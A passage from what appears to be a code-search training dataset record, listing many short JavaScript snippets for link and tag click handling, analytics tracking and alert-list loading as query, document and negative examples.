document.getElementById(\\\"b2\\\").innerText = e.detail.itemPromise._value.data.name;\\n var tag1 = document.getElementById(\\\"b1\\\").innerText;\\n var tag2 = document.getElementById(\\\"b2\\\").innerText;\\n //getMixes(1, \\\"\\\", tag1 + \\\"%2B\\\" + tag2, \\\"\\\", 8, 4);\\n getMixes(1, \\\"\\\", tag1 + \\\"%2B\\\" + tag2, \\\"\\\", 40, 3);\\n var testlist = new Array(24);\\n thirdgridview.winControl.itemDataSource = testlist.dataSource;\\n window.location.hash = '#secondgridview';\\n document.getElementById(\\\"b1\\\").innerText = \\\"_________\\\";\\n document.getElementById(\\\"b2\\\").innerText = \\\"_________\\\";\\n searchTags(\\\"\\\");\\n }\\n }\",\n \"function linkOnClick(e) {\\r\\n\\tvar obj = targetElement(e);\\r\\n\\tif (isNS6) {\\r\\n\\t\\tobj = obj.parentNode;\\r\\n\\t}\\r\\n\\tvar id = obj.id;\\r\\n\\tvar idarray = new Array();\\r\\n\\tidarray = id.split(\\\"_\\\");\\r\\n\\tcallFunction(idarray);\\r\\n}\",\n \"function suggestedTagClicked( tagId, tagName ) {\\r\\n // If the input field is disabled, return without doing anything\\r\\n if ( jQuery('#tagsInput').prop('disabled') )\\r\\n return;\\r\\n\\r\\n // Determine if the element has already been selected\\r\\n var previouslySelected = false;\\r\\n if ( jQuery('#related-tag-id-'+tagName).data('isSelected') === true )\\r\\n previouslySelected = true;\\r\\n\\r\\n // Adds the clicked recipient to the selection list if not already selected\\r\\n if ( ! previouslySelected ) {\\r\\n jQuery('#tagsInput').tagsinput('add', tagName);\\r\\n }\\r\\n // Otherwise, removes the selected recipient\\r\\n else {\\r\\n jQuery('#tagsInput').tagsinput('remove', tagName);\\r\\n }\\r\\n}\",\n \"function addTag(tag) {\\n var node = document.createElement(\\\"li\\\");\\n $(node).append('' + tag + 'x');\\n\\n // When clicked, remove the node and save the tags list.\\n $(node).find('a').click(function() {\\n $(node).remove();\\n saveTags();\\n })\\n\\n // Add to the list.\\n $list.append(node);\\n }\",\n \"function addTagLabel(name) {\\n let tagList = document.getElementById(\\\"tag-line\\\");\\n let newTag = document.createElement(\\\"span\\\");\\n let newText = document.createElement(\\\"span\\\");\\n let newRemove = document.createElement(\\\"a\\\");\\n let newIcon = document.createElement(\\\"i\\\");\\n let input = document.getElementById(\\\"tag-add\\\");\\n\\n input.value = \\\"\\\";\\n\\n newTag.className = \\\"tag-label tag\\\";\\n newTag.id = name;\\n\\n let aElement = document.createElement('a');\\n aElement.innerText = name;\\n newText.appendChild(aElement);\\n\\n newIcon.className = \\\"remove glyphicon glyphicon-remove-sign glyphicon-white\\\";\\n\\n newRemove.onclick = function() {\\n tagList.removeChild(newTag);\\n toAddTagList.delete(name.toLowerCase());\\n removeTagFromItem(name);\\n };\\n newText.onclick = function() {\\n window.location.href = '/tags/display/' + encodeURIComponent(name.toLowerCase());\\n };\\n newRemove.appendChild(newIcon);\\n newTag.appendChild(newText);\\n newTag.appendChild(newRemove);\\n\\n if(!toAddTagList.has(name)) {\\n toAddTagList.add(name);\\n tagList.appendChild(newTag);\\n }\\n}\",\n \"function activateLink(e){\\n // remove/add .active\\n let activeLink = document.getElementsByClassName('active')[0] ? \\n document.getElementsByClassName('active')[0] : \\n null;\\n\\n if(activeLink){\\n activeLink.removeAttribute('class');\\n }\\n e.target.setAttribute('class', 'active');\\n\\n // get the paragraph\\n let content = new Content();\\n content.getParagraphByIndex(e.target.id);\\n\\n // change the url in the address bar\\n window.history.pushState(\\\"\\\", \\\"\\\", e.target.id);\\n}\",\n \"static get tag() {\\n return \\\"rich-text-editor-link\\\";\\n }\",\n \"function handle_vote(o,e)\\n{\\n\\te.preventDefault();\\t\\t// prevent the link to continue\\n\\tdo_vote(o);\\n}\",\n \"function tagLinks(tags) {\\n\\tvar t = tags.split(\\\",\\\");\\n\\tvar i;\\n\\tvar links = \\\"\\\";\\n\\tfor(i=0;i\\\"+t[i].trim()+\\\"\\\";\\n\\t}\\n\\treturn links;\\n}\",\n \"function tagItem2(){\\r\\n var tagEdit = document.getElementsByTagName(\\\"tags-edit\\\");\\r\\n var tagEditTags = tagEdit.getElementsByTagName(\\\"tags-edit-tags\\\");\\r\\n \\r\\n tagEditTags.innerHTML += txtTag.innerText;\\r\\n /*\\r\\n * $(\\\".tags-edit .tags-edit-tags\\\").val( $(\\\".tags-edit\\r\\n * .tags-edit-tags\\\").val() + $(\\\"#txtTag\\\").val()); //\\r\\n * document.getElementById('tags-container-template');\\r\\n *\\r\\n * var popup = $(\\\".tags-edit .tags-edit-buttons\\\")\\r\\n * .find(\\\".goog-button-body\\\"); //\\r\\n * document.getElementById('tags-container-template');\\r\\n */\\r\\n var tagEditButton = tagEdit.getElementsByTagName(\\\"tags-edit-buttons\\\")[0];\\r\\n var popup = tagEditButton.getElementsByTagName(\\\"goog-button-body\\\")[0];\\r\\n \\r\\n simulateClick(popup);\\r\\n }\",\n \"function handleContactLinkClicked(event) {\\n ReactGA.event({ category: 'Contact Us Link', action: 'Clicked', label: event.target.href });\\n }\",\n \"function postTagInHtml(successData, neededValues) {\\n //Add new tag span layout to page\\n $('.contents a[href$=\\\\'' + neededValues.currentPageURL + '\\\\']').parent().after('' + neededValues.newTags + ' ');\\n //Remove input field\\n $('.tagInputOverview').remove();\\n\\n // Find new tag\\n const newDeleteTagButton = $('a[href$=\\\\'' + neededValues.currentPageURL + '\\\\']').parent().parent().find('.deleteTagButton').first();\\n // Assign hover listener to new tag\\n deleteClickAndHoverEvent(newDeleteTagButton);\\n}\",\n \"tagSearch(event) {\\n //Search for tags matching\\n }\",\n \"navigateHyperlink() {\\n let fieldBegin = this.getHyperlinkField();\\n if (fieldBegin) {\\n this.fireRequestNavigate(fieldBegin);\\n }\\n }\",\n \"function modifyAnchorTags(caller) {\\n var tagParts, currentStateLink, isSamePage, pathHashCount;\\n if (caller === \\\"modalPopupCtrl.pageContent\\\" || ctrl.currentLink === undefined) {\\n currentStateLink = [];\\n }\\n else {\\n currentStateLink = ctrl.currentLink.split('/');\\n }\\n $(ctrl.anchorTags).each(function (index) {\\n if (ctrl.anchorTags[index].hasAttribute('href')) {\\n var isExternalLink = ctrl.anchorTags[index].getAttribute('href').indexOf('http');\\n if (isExternalLink === -1) {\\n if (ctrl.anchorTags[index].getAttribute('href').indexOf('Page?$filter=contains(Title') !== -1) {\\n $(ctrl.anchorTags[index]).attr('class', 'removed-link');\\n var splittedArray = ctrl.anchorTags[index].getAttribute('href').split(\\\"'\\\");\\n var pageTitle = null;\\n if (splittedArray[1]) {\\n pageTitle = splittedArray[1];\\n }\\n var docId = null;\\n if (splittedArray[3]) {\\n docId = splittedArray[3];\\n }\\n DocumentService.getAllPages(\\\"$filter=contains(tolower(Title),tolower('\\\" + pageTitle + \\\"')) and DocumentCode eq '\\\" + docId + \\\"'\\\")\\n .then(function (result) {\\n if (result.value.length > 0) {\\n var popupData = '';\\n var currentReleasePage = $.grep(result.value, function (e) { return e.ReleaseId === $rootScope.release; });\\n if (currentReleasePage.length === 0) {\\n if (result.value.length > 1) {\\n popupData = createPopupData(result.value, index, caller);\\n angular.element(ctrl.anchorTags[index]).attr('id', 'linktag' + index);\\n angular.element(ctrl.anchorTags[index]).attr('data-toggle', 'dropdown');\\n angular.element(ctrl.anchorTags[index]).attr('aria-haspopup', 'true');\\n angular.element(ctrl.anchorTags[index]).attr('aria-expanded', 'false');\\n $(ctrl.anchorTags[index]).wrap('');\\n var linkText = angular.element(ctrl.anchorTags[index]).html();\\n angular.element(ctrl.anchorTags[index]).html(linkText + \\\" \\\");\\n angular.element(popupData).insertAfter(ctrl.anchorTags[index]);\\n } else {\\n currentReleasePage = result.value[0];\\n }\\n } else {\\n currentReleasePage = currentReleasePage[0];\\n }\\n if (caller === \\\"modalPopupCtrl.pageContent\\\") {\\n if (popupData === '') {\\n $(ctrl.anchorTags[index]).on(\\\"click\\\", function () {\\n $rootScope.reloadPopUpOnLnkClk(currentReleasePage.Id);\\n }\\n );\\n var buttonNewTab = window.document.createElement('a');\\n angular.element(buttonNewTab).attr('href', '' + ctrl.docCenterUrl + '#/docHome/document/' + currentReleasePage.DocumentId +\\n '/page/' + currentReleasePage.Id + '');\\n angular.element(buttonNewTab).attr('target', '_blank');\\n var spanNewTab = window.document.createElement('span');\\n angular.element(buttonNewTab).append(' ');\\n angular.element(buttonNewTab).append(spanNewTab);\\n angular.element(buttonNewTab).insertAfter(ctrl.anchorTags[index]);\\n }\\n }\\n else {\\n $(ctrl.anchorTags[index]).on(\\\"click\\\", function () {\\n if (popupData === '') {\\n ctrl.changeState(currentReleasePage.DocumentId, currentReleasePage.Id, null);\\n }\\n });\\n }\\n $(ctrl.anchorTags[index]).removeAttr(\\\"class\\\");\\n $(ctrl.anchorTags[index]).attr('style', 'cursor: pointer;');\\n }\\n });\\n $(ctrl.anchorTags[index]).removeAttr('href');\\n return;\\n }\\n tagParts = ctrl.anchorTags[index].getAttribute('href').split('/');\\n isSamePage = ctrl.anchorTags[index].getAttribute('issamepage');\\n pathHashCount = ctrl.anchorTags[index].getAttribute('isPathHavingHash');\\n if (tagParts.length > 0) {\\n ctrl.items = tagParts[tagParts.length - 1].split('#');\\n // Check if the link is in the same page.\\n if (currentStateLink[currentStateLink.length - 1] === ctrl.items[0] || isSamePage === \\\"true\\\") {\\n if (ctrl.items.length > 1) {\\n (function (anchorId) {\\n $(ctrl.anchorTags[index]).on(\\\"click\\\", function () {\\n ctrl.goToHeading(anchorId);\\n });\\n }(ctrl.items[1]));\\n }\\n $(ctrl.anchorTags[index]).removeAttr('issamepage');\\n\\n } else {\\n var documentId, pageId, achId;\\n documentId = tagParts[2];\\n pageId = ctrl.items[0];\\n achId = ctrl.items[1];\\n if (pathHashCount && parseInt(pathHashCount, 10) > 0) {\\n if (ctrl.items.length > parseInt(pathHashCount, 10) + 1) {\\n achId = ctrl.items[ctrl.items.length - 1];\\n var pageIdArray = ctrl.items.slice(0, ctrl.items.length - 1);\\n pageId = pageIdArray.join('#');\\n } else {\\n pageId = ctrl.items.join('#');\\n achId = null;\\n }\\n $(ctrl.anchorTags[index]).removeAttr('isPathHavingHash');\\n }\\n $(ctrl.anchorTags[index]).on(\\\"click\\\", function () {\\n ctrl.changeState(documentId, pageId, achId);\\n });\\n }\\n $(ctrl.anchorTags[index]).attr('style', 'cursor: pointer;');\\n $(ctrl.anchorTags[index]).removeAttr(\\\"class\\\");\\n $(ctrl.anchorTags[index]).removeAttr('href');\\n }\\n } else {\\n $(ctrl.anchorTags[index]).attr('target', '_blank');\\n }\\n }\\n });\\n }\",\n \"function activateTag(tag) {\\n //clear all tags in list of tag-active class\\n var items = document.getElementsByClassName('tag-item');\\n for(var i=0; i < items.length; i++) {\\n items[i].classList.remove(\\\"tag-active\\\");\\n }\\n\\n // set the selected tag's item to active\\n var item = document.getElementById(tag + '-item');\\n if(item) {\\n item.classList.add(\\\"tag-active\\\");\\n }\\n}\",\n \"static get tag() {\\n return \\\"rich-text-editor-link\\\";\\n }\",\n \"function bindingArticleClick() {\\n $('#rovat .content a').bind('click', function (event, ui) {\\n document.getElementById(\\\"article-content\\\").src = this.dataset.url;\\n });\\n}\",\n \"function makeItClickable(){\\n\\n }\",\n \"function onTagsButtonTouched(e){\\n\\t// Only if the tag count is above 0\\n\\tif (media.tags.length) {\\n\\t\\t// Load the tags view\\n\\t\\tvar view = Alloy.createController(\\\"media/hashtags\\\", {\\n\\t\\t\\t\\\"tags\\\": media.tags\\n\\t\\t}).getView();\\n\\t\\n\\t\\taddViewToSections(view);\\n\\t} else {\\n\\t\\tanimation.shake($.hashtagsButton);\\n\\t}\\n}\",\n \"function handleLinkClick(srcElement,cid){\\t\\t\\n\\t\\tvar href = srcElement.href; \\n\\t\\tvar temp = cid.split(\\\"|\\\")\\n\\t\\tvar windowId = temp[0]\\n\\t\\tvar id = temp[1]\\n\\n\\t\\tchrome.runtime.getBackgroundPage(function(eventPage) {\\n\\t\\t\\teventPage.switchTab(windowId,id);\\n\\t\\t});\\n}\",\n \"function isOpenTag(params) {\\r\\n \\r\\n}\",\n \"function handleFeatureLinkClick(evt)\\n{\\n console.log('a.feature.link was clicked');\\n //set the image src to the anchor's href value\\n featureImage.src = featureLink.href;\\n\\n //make the image visible\\n featureImage.classList.remove('hidden');\\n\\n //dont want to load the image in the page\\n evt.preventDefault();\\n}\",\n \"function TagMenu_initializeUI(newLinkStr) {\\r\\n var tagNames = new Array()\\r\\n var tagValues = new Array();\\r\\n \\r\\n var dom = dw.getDocumentDOM();\\r\\n\\r\\n // get the current selection\\r\\n var selNode, offsets;\\r\\n selNode = this.getSelectedTag();\\r\\n if (selNode) { //if selection is inside a tag, select the entire tag\\r\\n offsets = dw.nodeToOffsets(selNode);\\r\\n dw.setSelection(offsets[0],offsets[1]);\\r\\n }\\r\\n \\r\\n if (this.tagList.length == 1 && this.tagList[0] == \\\"A\\\") {\\r\\n\\r\\n // if no tag selection, ensure the selection is linkable\\r\\n if (!selNode) {\\r\\n selStr = dwscripts.trim(dwscripts.fixUpSelection(dom,false,true));\\r\\n if (selStr && !stringCanBeLink(selStr)) {\\r\\n offsets = dom.getSelection();\\r\\n dw.setSelection(offsets[1],offsets[1]); //move the insertion point after the selection\\r\\n selStr = \\\"\\\";\\r\\n }\\r\\n }\\r\\n\\r\\n // add a new link or a selection as the first item in the list\\r\\n if (selNode || !selStr) { //if sel is link, or no valid selection\\r\\n\\r\\n newLinkStr = (newLinkStr != null) ? newLinkStr : \\\"New Link\\\";\\r\\n\\r\\n //add generic new link item to menu\\r\\n tagNames.push(dwscripts.sprintf(MM.LABEL_CreateNewLink,newLinkStr));\\r\\n\\t\\t \\r\\n newLinkStr = dwscripts.entityNameDecode(newLinkStr);\\r\\n\\t tagValues.push(\\\"createAtSelection+\\\"+newLinkStr);\\r\\n\\r\\n } else { //else selection could be converted to link, so add it\\r\\n var displayString = dwscripts.trim(selStr);\\r\\n displayString = displayString.replace(/\\\\s+/,\\\" \\\"); //replace all newlines and whitespace with a single space\\r\\n displayString = dwscripts.entityNameDecode(displayString);\\r\\n tagNames.push(MM.LABEL_SelectionLink+' \\\"' + displayString + '\\\"');\\r\\n tagValues.push(\\\"createAtSelection+\\\"+selStr);\\r\\n\\r\\n }\\r\\n }\\r\\n\\r\\n // add all other tags to menu\\r\\n var nodes = this.getTagElements();\\r\\n for (var i=0; i < nodes.length; i++) {\\r\\n\\r\\n tagNames.push(this.getNiceName(nodes[i], i));\\r\\n tagValues.push(nodes[i]);\\r\\n\\r\\n }\\r\\n \\r\\n // set the list control\\r\\n this.listControl = new ListControl(this.paramName); \\r\\n this.listControl.setAll(tagNames, tagValues);\\r\\n\\r\\n // if link currently selected, pick it in the list\\r\\n if (selNode) {\\r\\n this.pickValue(selNode);\\r\\n }\\r\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click);\\n //.on(\\\"mouseover\\\", mouseover)\\n //.on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function update_utag_link(dsc) {\\n if (dsc != '') {\\n var omni_arr = dsc.split('|');\\n // User Action Tracking for Global Navigation Menu.\\n if (omni_arr[0] != '' && omni_arr[0] == 'global-nav' && omni_arr[1] != '') {\\n omni_click_id = dsc;\\n utag.link({\\n \\\"event_name\\\": omni_arr[0],\\n \\\"click_id\\\": omni_click_id\\n });\\n } else if (omni_arr[0] != '' && omni_arr[0] == 'social_share' && omni_arr[1] != '') {\\n // User Action Tracking for Social Share.\\n var omni_event_name = omni_arr[0];\\n var omni_social_network = omni_arr[1];\\n var omni_click_id = 'sharebar|' + omni_arr[1];\\n utag.link({\\n \\\"event_name\\\": omni_event_name,\\n \\\"social_network\\\": omni_social_network,\\n \\\"click_id\\\": omni_click_id\\n });\\n }\\n }\\n}\",\n \"function Permalink_evc_click(event) {\\r\\n //cancel_event(event);\\r\\n //var id = this.parentNode.parentNode.parentNode.parentNode.parentNode.id;\\r\\n \\r\\n}\",\n \"function addTagSearchTagListeners() {\\n function redirectToTagPage(tag, datalist) {\\n for (let dataTag of datalist.options) {\\n if (dataTag.value.toUpperCase() === tag.toUpperCase()) {\\n window.location.href = \\\"/tags/display/\\\" + encodeURIComponent(tag.toLowerCase());\\n }\\n }\\n }\\n\\n try {\\n const searchBar = document.getElementById(\\\"tag-search\\\");\\n const datalist = document.getElementById(\\\"tag-results\\\");\\n searchBar.addEventListener('input', (e) => {\\n if (e.constructor.name !== 'InputEvent') {\\n // then this is a selection, not user input\\n redirectToTagPage(searchBar.value, datalist)\\n }\\n while (datalist.firstChild) {\\n datalist.removeChild(datalist.firstChild);\\n }\\n const query = searchBar.value;\\n if (query) {\\n searchTags(query);\\n }\\n });\\n searchBar.addEventListener('keyup', e => {\\n if (e.key === 'Enter') {\\n redirectToTagPage(searchBar.value, datalist);\\n }\\n })\\n } catch (err) {\\n //do nothing. Just to avoid errors if the correct page is not loaded\\n }\\n}\",\n \"function getClickTag() {\\n return window.clickTag || 'http://www.google.com';\\n }\",\n \"function construct_tag(tag_name){\\n render_tag = '' + tag_name + ' '\\n return render_tag\\n}\",\n \"handleAddTag(cardId, text = '') {}\",\n \"function handleClick(e) {\\n if (e.target.nodeName === \\\"A\\\") {\\n e.preventDefault();\\n console.log(\\\"markdown link click\\\")\\n if (e.target.href) {\\n const url = new URL(e.target.href);\\n //if it is an internal link, push to history so page doesnt refresh\\n if (url.hostname.indexOf(\\\".hotter.com\\\") > -1 || url.hostname === \\\"localhost\\\" || url.hostname.indexOf(\\\"hotter-amplience-poc.herokuapp.com\\\") > -1) {\\n history.push(e.target.pathname);\\n } else {\\n //otherwise open new tab\\n window.open(url.href, \\\"_blank\\\")\\n }\\n }\\n }\\n}\",\n \"handleLinkEvent(event, link) {\\n if (this.renderer && this.renderer.handleLinkEvent) {\\n this.renderer.handleLinkEvent(this.editorContext, event, link);\\n }\\n }\",\n \"function linkedInButton() {\\n var s = s_gi(s_account);\\n s.eVar2 = 'LinkedIn';\\n s.events = 'event12';\\n s.trackExternalLinks = false;\\n s.linkTrackVars = 'eVar2,events';\\n s.linkTrackEvents = 'event12';\\n s.tl(this, 'o', s.eVar2);\\n}\",\n \"function onLinkClicked(element) {\\n const section = document.querySelector('#'+element.dataset.section);\\n checkSectionsInView();\\n scrollTO(section);\\n}\",\n \"_onClickUrl(urlLink) {\\n //Alert.alert(\\\"clicked\\\");\\n Linking.openURL(\\\"http://\\\"+urlLink);\\n \\n }\",\n \"function onLinkRated() {\\r\\n\\tvar taskIdx = selectedTaskIdx();\\r\\n\\tvar search = getSearch(taskIdx, gCurrentSearch.query);\\r\\n\\tif (search) {\\r\\n\\t\\tvar link = getLink(search, gCurrentSearch.url);\\r\\n\\t\\tif (link) {\\r\\n\\t\\t\\tvar rating = this.id == \\\"helpful_button\\\" ? HELPFUL_RATING : UNHELPFUL_RATING;\\r\\n\\t\\t\\taddLinkRated(taskIdx, search.query, link.url, link.title, rating, true);\\r\\n\\t\\t\\tupdateSearchHistory();\\r\\n\\t\\t\\tswitchToSearch();\\r\\n\\t\\t}\\r\\n\\t}\\r\\n}\",\n \"function linkClick(link) {\\n\\t\\tsubjectRead(subjects);\\n\\t\\t$(links[link]).css(\\\"z-index\\\",\\\"1\\\");\\n\\t\\t$(links[link]).css(\\\"opacity\\\",\\\"1\\\");\\n\\t\\t$(link).css(\\\"background-color\\\",\\\"#8C6954\\\");\\n\\t\\t$(link).css(\\\"color\\\",\\\"white\\\");\\n\\t\\t$.each(links, function (key,value)\\n\\t\\t{\\n\\t\\t\\tif (key!=link)\\n\\t\\t\\t{\\n\\t\\t\\t\\t$(links[key]).css(\\\"z-index\\\",\\\"0\\\");\\n\\t\\t\\t\\t$(links[key]).css(\\\"opacity\\\",\\\"0\\\");\\n\\t\\t\\t\\t$(key).css('background-color','#59323C');\\n\\t\\t\\t\\t$(key).css(\\\"color\\\",\\\"#F2EEB3\\\");\\n\\t\\t\\t}\\n\\t\\t});\\n\\t}\",\n \"registerClick() {\\n \\n if(this.state.block_Highlight) { \\n this.setState({\\n block_Highlight:false, \\n })\\n saveVisitedAdaptation(\\\"Block_User\\\",\\\"NewsFeed_highlight\\\");\\n }\\n\\n registerEvent('Clicked on '+this.props.name+\\\"'\\\\s profile link to visit their profile page\\\", 'from post '+this.props.index,(this.props.forTimeline?\\\"Timeline\\\":\\\"NewsFeed\\\")); \\n }\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\",\n \"function linkTopic(a) {\\n a .on(\\\"click\\\", click)\\n .on(\\\"mouseover\\\", mouseover)\\n .on(\\\"mouseout\\\", mouseout);\\n}\"\n]"},"negative_scores":{"kind":"list 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alerts and allows the user to select one for filtering"},"document":{"kind":"string","value":"function load_alert_observables(alert_uuid) {\n // have we already loaded this?\n var existing_dom_element = $(\"#alert_observables_\" + alert_uuid);\n if (existing_dom_element.length != 0) {\n existing_dom_element.remove();\n return;\n }\n\n $.ajax({\n dataType: \"html\",\n url: 'observables',\n data: { alert_uuid: alert_uuid },\n success: function(data, textStatus, jqXHR) {\n $('#alert_row_' + alert_uuid).after('' + data);\n },\n error: function(jqXHR, textStatus, errorThrown) {\n alert(\"DOH: \" + textStatus);\n }\n });\n \n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function afterAlertsLoad() {\n if (sessionStorage.getItem(\"search_all_selected_obj\") !== null) {\n var obj,\n index;\n obj = JSON.parse(sessionStorage.getItem(\"search_all_selected_obj\"));\n index = TableUtil.getTableIndexById('#tblAlerts', obj.Id);\n $(\"#tblAlerts\").bootstrapTable(\"check\", index);\n showEditDialog();\n sessionStorage.removeItem(\"search_all_selected_obj\");\n }\n }","function alertLoad() {\n\t//alert('reloading alert page');\n\tfireAlerts.on('value', function(snap) {\n\t\t$('#inputEmail').val(snap.val().email);\n\t\t$('#checkEnergyOver').prop('checked',snap.val().dayKwhrFlg);\n\t\t$('#inputKwhrLimit').val(snap.val().dayKwhrLmt);\n\t\t$('#checkStandbyLow').prop('checked',snap.val().dayStbyFlg);\n\t\t$('#inputStbyLimit').val(snap.val().dayStbyLmt);\n\t\t$('#checkFault').prop('checked',snap.val().errFlg);\n\t\t$('#checkModeChanged').prop('checked',snap.val().modeChgFlg);\n\t\t$('#checkSPChanged').prop('checked',snap.val().SPChgFlg);\n\t\t$('#checkElementUse').prop('checked',snap.val().htrElmntFlg);\n\t});\n}","handleSearchKeyword() {\n \n if (this.searchValue !== '') {\n getAlertList({\n searchKey: this.searchValue\n })\n .then(result => {\n // set @track alert variable with return alert list from server \n //this.alertList = result;\n if(result) {\n\n let currentData = [];\n \n result.forEach((row) => {\n \n /* \n * Creating the an empty object\n * To reslove \"TypeError: 'set' on proxy: trap returned falsish for property\"\n */\n \n let rowData = {};\n rowData.Id = row.Id;\n rowData.Name = row.Name;\n rowData.Alert_Date = row.Alert_Date__c;\n rowData.Primary_Entity_Number = row.Primary_Entity_Number__c;\n rowData.Status = row.Status__c;\n rowData.MoneyLaunderingRiskScore = row.Money_Laundering_Risk_Code__c;\n \n // Account related data\n if (row.Primary_Entity__c) {\n rowData.PrimaryEntityName = row.Primary_Entity__r.Name;\n \n }\n currentData.push(rowData);\n });\n \n this.alertList = currentData;\n }\n })\n .catch(error => {\n \n const event = new ShowToastEvent({\n title: 'Error',\n variant: 'error',\n message: error.body.message,\n });\n this.dispatchEvent(event);\n // reset alert var with null \n this.alertList = null;\n });\n } else {\n // fire toast event if input field is blank\n const event = new ShowToastEvent({\n variant: 'error',\n message: 'Search text missing..',\n });\n this.dispatchEvent(event);\n }\n}","function listaAlertas(){\n\tvar lista = Widget.createController('listaAlertas').getView();\n\tlista.open();\n}","onClickAlertSubscribe() {\n // TODO: Set user as watcher for this alert when API ready\n }","onAlert(id = this.defaultId) {\n return this.subject.asObservable().pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_2__[\"filter\"])(x => x && x.id === id));\n }","onAlert(id = this.defaultId) {\n return this.subject.asObservable().pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_2__[\"filter\"])(x => x && x.id === id));\n }","function refreshFilterAlarmSummaryData(selectedAlarmLevel) {\r\n filterAlarmSummaryDataList = [];\r\n for (var index = 0; index < alarmSummaryDataList.length; index++) {\r\n if ((wemsAlarmSummaryVM.selectedAlarmLevel != wemsAlarmSummaryVM.alarmLevel.all)\r\n && (wemsAlarmSummaryVM.selectedAlarmLevel != alarmSummaryDataList[index].LevelCode)) {\r\n continue;\r\n }\r\n\r\n filterAlarmSummaryDataList.push(alarmSummaryDataList[index]);\r\n }\r\n\r\n showMoreAlarmSummaryData(true);\r\n }","onAlert(id = this.defaultId) {\n return this.subject.asObservable().pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_1__[\"filter\"])(x => x && x.id === id));\n }","function selectedData(event) {\n displayProblems();\n}","setAlertToday(){\n \n var aujourdhui = this.today.toLocaleDateString();\n this.eventsOftheday =[]; // vide le tableau des alertes avant chaque set\n \n for(var eventa of this.events){ // pour chaque date de debut d'event = a la date d'aujourdhui\n if( eventa.datestartevent == aujourdhui ){\n this.addAlertToday(eventa);\n \n }\n \n }\n \n }","function viewDataArray() {\n log('viewDataArray');\n let alertText =\n 'Reviver ID: ' + activeDataItem.reviver_id +\n '\\nTarget: ' + activeDataItem.target +\n '\\nTime: ' + activeDataItem.time +\n '\\nLevel: ' + activeDataItem.level +\n '\\nChance: ' + activeDataItem.chance +\n '\\nCost: ' + activeDataItem.cost +\n '\\nSuccess: ' + activeDataItem.success +\n '\\nRS Start: ' + activeDataItem.rs_start +\n '\\nRS End: ' + activeDataItem.rs_end;\n\n alert(alertText);\n }","alerts() {\r\n return this.request('GET', 'alerts')\r\n .then((data) => (!!data['alerts'] ? data['alerts'] : []).map(Alert.fromJSON));\r\n }","function onChangeAlarmLevelHandler() {\r\n refreshFilterAlarmSummaryData();\r\n }","_onFilterSelected(event) {\n this.filter = event.detail.filter;\n this.render();\n }","filterRestaurants () {\n this.sendAction('filterInit', {\n price: this.get('price'),\n isOpen: this.get('isChecked')\n });\n }","function onShowWemsAlarmSummaryModal() {\r\n 